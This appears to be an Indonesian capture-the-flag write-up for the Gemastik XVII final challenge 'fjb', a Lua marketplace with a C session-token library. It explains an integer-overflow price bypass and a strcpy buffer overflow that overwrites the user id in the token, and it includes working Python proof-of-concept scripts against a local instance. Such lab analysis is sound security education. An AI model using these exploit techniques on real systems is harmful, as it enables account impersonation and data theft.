Author : circleous
fjb merupakan salah satu soal final gemastik xvii, sayangnya saya tidak sempat mengerjakan sewaktu final karena fokus dengan soal lain (meskipun akhirnya soal lain pun tidak solve ), service soal dan platform ctf final gemastik pun sudah mati tapi source code soal bisa di akses disini. Saya menulis writeup ini berdasarkan apa yang tertulis pada source codenya sehingga memungkinkan ada yang berbeda dengan service ketika perlombaan seperti beda penempatan flag dan lain sebagainya.
Struktur folder :
C:.
├───frontend
│ ├───public
│ └───src
│ ├───assets
│ ├───components
│ │ └───ui
│ ├───hooks
│ ├───lib
│ ├───pages
│ └───routes
├───kauth
└───src
├───handler
└───lib
Setelah menjalankan docker yang diberikan kita akan mendapatkan tampilan web sebagai berikut :
namun saya memiliki sedikit permasalahan ketika menjalankannya, yaitu pada fungsi register ketika klik tombol register tidak ada request yang dibuat oleh frontend
jika dilihat pada bagian frontend dari page login dan register, saya hanya menemukan fungsi untuk request ke endpoint /api/login
dan tidak ada untuk /api/register
const { isLoading, mutate } = useMutation({
mutationKey: ["login"],
mutationFn: (data) => httpClient.post("/api/login", { json: data }).json(),
onSettled(data, err) {
if (err || data?.error) {
queryClient.setQueryData(["user"], null);
return;
}
queryClient.setQueryData(["user"], data);
navigate({ to: "/" });
},
retry: false,
});
setelah saya telusuri beberapa kode front end juga nampaknya ada beberapa fungsi yang memang belum dibuat seperti fungsi checkout pada page cart.
<span className="inline-block w-full">
<Button
variant="outline"
disabled
className="cursor-not-allowed w-full">
{/* TODO: create checkout */}
<span>Proceed to Payment</span>
</Button>
</span>
mengetahui hal tersebut kemungkinan besar yang perlu kita lakukan adalah melakukan testing pada bagian backend dari program.
backend program ditulis dengan bahasa pemrograman lua, dan terdapat library atau module tambahan berupa kauth
yang ditulis dengan bahasa c. Kita tahu bahwa lua memang menyediakan C api yang dapat dilihat pada https://www.lua.org/pil/24.html.
Untuk bagian database program menggunakan sqlite dengan table dan schema sebagai berikut :
sqlite> .schema
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
wallet INTEGER DEFAULT 1
);
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE catalog (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL,
item_name TEXT NOT NULL,
description TEXT,
value TEXT,
price INTEGER NOT NULL,
created_at TEXT NOT NULL,
FOREIGN KEY (user_id) REFERENCES users(id)
);
CREATE TABLE cart (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL,
item_id INTEGER NOT NULL,
FOREIGN KEY (user_id) REFERENCES users(id),
FOREIGN KEY (item_id) REFERENCES catalog(id)
);
keseluruhan endpoint dari api bisa dilihat sebagai berikut :
function handle(r)
if r.uri == "/api/login" and r.method == "POST" then
return login.handler(r)
elseif r.uri == "/api/register" and r.method == "POST" then
return register.handler(r)
elseif r.uri == "/api/user" and r.method == "GET" then
return middleware.auth(r, user.handler)
elseif r.uri == "/api/catalog" and r.method == "GET" then
return catalog.get(r)
elseif r.uri == "/api/catalog/me" and r.method == "GET" then
return middleware.auth(r, catalog.get_me)
elseif r.uri == "/api/catalog" and r.method == "POST" then
return middleware.auth(r, catalog.post)
elseif r.uri == "/api/cart" and r.method == "GET" then
return middleware.auth(r, cart.get)
elseif r.uri == "/api/cart" and r.method == "POST" then
return middleware.auth(r, cart.post)
elseif r.uri == "/api/cart" and r.method == "DELETE" then
return middleware.auth(r, cart.delete)
elseif r.uri == "/api/checkout" and r.method == "POST" then
return middleware.auth(r, checkout.post)
else
r.status = 404
r.content_type = "application/json"
r:write(cjson.encode({
error = "Not found"
}))
return apache2.OK
end
end
Setelah saya konfimasi dengan author ternyata flagnya tersimpan dalam database, tapi tidak diberi tahu pasti dibagian mana.
jika kita lihat alur dari program tersebut user dapat menambahkan item ke katalog dan user lain dapat melakukan checkout dengan item yang dipilih dari katalog, hal yang unik adalah ada attribut dalam tabel catalog
yang tidak ditunjukan pada publik yaitu value
.
function _M.get_all_items(uid)
local conn = sqlite3.open("/app/data/fjb.db")
local query = "SELECT * FROM catalog"
if uid then
query = query .. " WHERE user_id = ?"
end
local stmt = conn:prepare(query)
if uid then
stmt:bind_values(uid)
end
local items = {}
local result = stmt:step()
while result == sqlite3.ROW do
local id = stmt:get_value(0)
local user_id = stmt:get_value(1)
local item_name = stmt:get_value(2)
local description = stmt:get_value(3)
local value = stmt:get_value(4)
local price = stmt:get_value(5)
local date_posted = stmt:get_value(6)
table.insert(items, {
id = id,
name = item_name,
description = description,
owner = user_id,
value = uid == user_id and value or nil,
price = price,
date_posted = date_posted,
})
result = stmt:step()
end
conn:close()
return items
end
sehingga kita akan melakukan setup sebagai berikut :
# make admin user and post a product
res = s.post(URL + "/api/register", json={"username": "admin", "password": "admin"})
res = s.post(URL + "/api/login", json={"username": "admin", "password": "admin"})
res= s.post(URL + "/api/catalog", json={"name" : "test", "description" : "desc idk", "valuable" : "FLAG{FLAG_FOR_TEST}", "price" : 100})
Jika kita membaca code pada bagian checkout
local cjson = require "cjson"
local db = require "database"
local util = require "lib.utils"
local _M = {}
function _M.post(r)
local cost = 0x0
r.content_type = "application/json"
local items = db.get_items_from_cart(tonumber(r.notes.kauth_id), true)
for i = 1, #items do
cost = cost + items[i].price
end
local wallet, err = db.get_wallet(tonumber(r.notes.kauth_id))
if err then
r.status = 500
r:write(cjson.encode({
error = "Internal error: " .. err,
}))
return apache2.OK
end
if wallet < cost then
r.status = 401
r:write(cjson.encode({
error = "Unathorized: not enough balance",
}))
return apache2.OK
end
r:write(cjson.encode({
items = items,
}))
return apache2.OK
end
return _M
tidak adanya fungsi pengurangan dan penambahan wallet sehingga jika memang wallet mencukupi kita dapat membeli barang secara terus menerus.
Pada bagian register akun juga tidak ada inisialisasi nilai wallet, tetapi jika kita lihat pada database sql nya wallet di set dengan nilai 1.
local stmt = conn:prepare("INSERT INTO users (username, password) VALUES (?, ?)")
stmt:bind_values(username, hashed_password)
local result = stmt:step()
nah menariknya kita dapat melakukan integer overflow di lua
dan dalam pembuatan item baru di catalog tidak terdapat pengecekan maximum price
if util.isempty(spec.price) or tonumber(spec.price) <= 0 then
r.status = 400
r:write(cjson.encode({
error = "Bad Request: missing price"
}))
return apache2.OK
end
sehingga kita dapat bypass check pada bagian ini ketika checkout.
if wallet < cost then
r.status = 401
r:write(cjson.encode({
error = "Unathorized: not enough balance",
}))
return apache2.OK
end
poc :
# trigger integer overflow
res = s.post(URL + "/api/register", json={"username": "yono", "password": "test"})
res = s.post(URL + "/api/login", json={"username": "yono", "password": "test"})
res= s.post(URL + "/api/catalog", json={"name" : "int overflow", "description" : "enak bg", "valuable" : "yes yes", "price" : "0x7fffffffffffffff"})
print(res.text)
# test user buy a product
res = s.post(URL + "/api/register", json={"username": "yqroo", "password": "test"})
res = s.post(URL + "/api/login", json={"username": "yqroo", "password": "test"})
res = s.post(URL + "/api/cart", json={"item": 1})
res = s.post(URL + "/api/cart", json={"item": 2})
res = s.get(URL + "/api/cart")
print(res.text)
res = s.get(URL + "/api/user")
res = s.post(URL + "/api/checkout")
for i in res.json()['items']:
print(i)
Bug kedua terletak pada implementasi fungsi encode dari library kauth
ketika user berhasil login program akan memberikan session yang digenerate dengan library tersebut.
local ok, token = pcall(function ()
return kauth.encode(secret.key, user)
end)
if not ok then
r.status = 500
r:write(cjson.encode({
error = "Internal error: failed to generate token"
}))
return apache2.OK
end
r:setcookie({
key = "session",
value = token,
expires = os.time() + 1800,
})
jika kita lihat implementasi dari fungsi encode di library tersebut kita dapat melihat sebuah bug yang sangat obvious.
static int encode(lua_State *L) {
int typ;
struct kauth_user claim;
unsigned char h[crypto_auth_hmacsha256_BYTES];
unsigned char token[kauth_token_BYTES];
memset(h, 0, crypto_auth_hmacsha256_BYTES);
memset(token, 0, kauth_token_BYTES);
memset(&claim, 0, sizeof(struct kauth_user));
size_t keylen = 0;
const char *key = luaL_checklstring(L, 1, &keylen);
if (keylen != crypto_auth_hmacsha256_KEYBYTES) {
lua_pushstring(L, "invalid key len");
return lua_error(L);
}
luaL_checktype(L, 2, LUA_TTABLE);
if ((typ = lua_getfield(L, 2, "id")) != LUA_TNUMBER) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type id (number expected)");
return lua_error(L);
}
lua_Integer id = lua_tointeger(L, -1);
lua_pop(L, 1);
claim.id = id;
if ((typ = lua_getfield(L, 2, "name")) != LUA_TSTRING) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type name (string expected)");
return lua_error(L);
}
const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);
claim.exp = time(0) + 1800; // 30 min
crypto_auth_hmacsha256(h, (const unsigned char *)&claim,
sizeof(struct kauth_user), (const unsigned char *)key);
sodium_bin2base64((char *)token, kauth_token_claim_BYTES,
(const unsigned char *)&claim, sizeof(struct kauth_user),
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
sodium_bin2base64((char *)(token + kauth_token_claim_BYTES),
kauth_token_sign_BYTES, h, crypto_auth_hmacsha256_BYTES,
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
token[kauth_token_claim_BYTES - 1] = '.';
lua_pushlstring(L, (char *)token, kauth_token_BYTES);
return 1;
}
yap benar terdapat vulnerability buffer overflow pada fungsi encode dikarenakan penggunaan fungsi berbahaya yaitu strcpy
.
jika dilihat implementasi dari kauth_user maka kita dapat melihat bahwa id diletakan persis dibawah name sehingga dapat kita overwrite
struct kauth_user {
const char name[128];
unsigned long long id;
unsigned long long exp;
};
dan di dalam fungsi encode inisialisasinya dimulai dari id, name, baru exp, sehingga kita dapat overwrite id namun ketika kita overwrite exp program akan mengoverwrite balik.
Ketika kita melakukan register, username akan disimpan dalam database, database users sendiri menggunakan tipe data text pada bagian username sehingga tidak memungkinkan untuk menyimpan byte CMIIW, tetapi dalam code berikut string akan berubah menjadi byte.
const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);
sehingga di dalam databasenya akan tersimpan sebagai aa..\x01
sebagai string tetapi ketika masuk ke c \x01
akan terescape menjadi byte.
poc :
# trigger buffer overflow
res = s.post(URL + "/api/register", json={"username": "a"*128+'\x01', "password": "naon"})
res = s.post(URL + "/api/login", json={"username": "a"*128+'\x01', "password": "naon"})
res = s.get(URL + "/api/catalog/me")
for i in res.json()['items']:
print(i)
note tambahan…
dalam fungsi decode strcpy
digantikan dengan strncpy
yang mana seharusnya ini adalah fungsi yang aman.
strncpy((char *)name, claim.name, sizeof(name));
tetapi jika dilihat dari size buffer dari name terdapat overflow satu byte.
const char name[129];
sehingga seharusnya strncpy
akan mengcopy id juga, tetapi cukup tidak berguna karena untuk apa leak id user sendiri, selain itu
lua_pushstring(L, name);
lua_setfield(L, -2, "name");
lua_pushinteger(L, claim.id);
lua_setfield(L, -2, "id");
r.notes.kauth_name = res.name
r.notes.kauth_id = res.id
username dan id akan diakses berdasarkan fieldnya.
import requests as req
URL = "http://localhost:17000"
s = req.Session()
## SERVER
# make admin user and post a product
res = s.post(URL + "/api/register", json={"username": "admin", "password": "admin"})
res = s.post(URL + "/api/login", json={"username": "admin", "password": "admin"})
res= s.post(URL + "/api/catalog", json={"name" : "test", "description" : "desc idk", "valuable" : "FLAG{FLAG_FOR_TEST}", "price" : 100})
print(res.text)
## PLAYER
# trigger integer overflow
res = s.post(URL + "/api/register", json={"username": "yono", "password": "test"})
res = s.post(URL + "/api/login", json={"username": "yono", "password": "test"})
res= s.post(URL + "/api/catalog", json={"name" : "int overflow", "description" : "enak bg", "valuable" : "yes yes", "price" : "0x7fffffffffffffff"})
print(res.text)
# test user buy a product
res = s.post(URL + "/api/register", json={"username": "yqroo", "password": "test"})
res = s.post(URL + "/api/login", json={"username": "yqroo", "password": "test"})
res = s.post(URL + "/api/cart", json={"item": 1})
res = s.post(URL + "/api/cart", json={"item": 2})
res = s.get(URL + "/api/cart")
print(res.text)
res = s.get(URL + "/api/user")
res = s.post(URL + "/api/checkout")
for i in res.json()['items']:
print(i)
# trigger buffer overflow
res = s.post(URL + "/api/register", json={"username": "a"*128+'\x01', "password": "naon"})
res = s.post(URL + "/api/login", json={"username": "a"*128+'\x01', "password": "naon"})
res = s.get(URL + "/api/catalog/me")
for i in res.json()['items']:
print(i)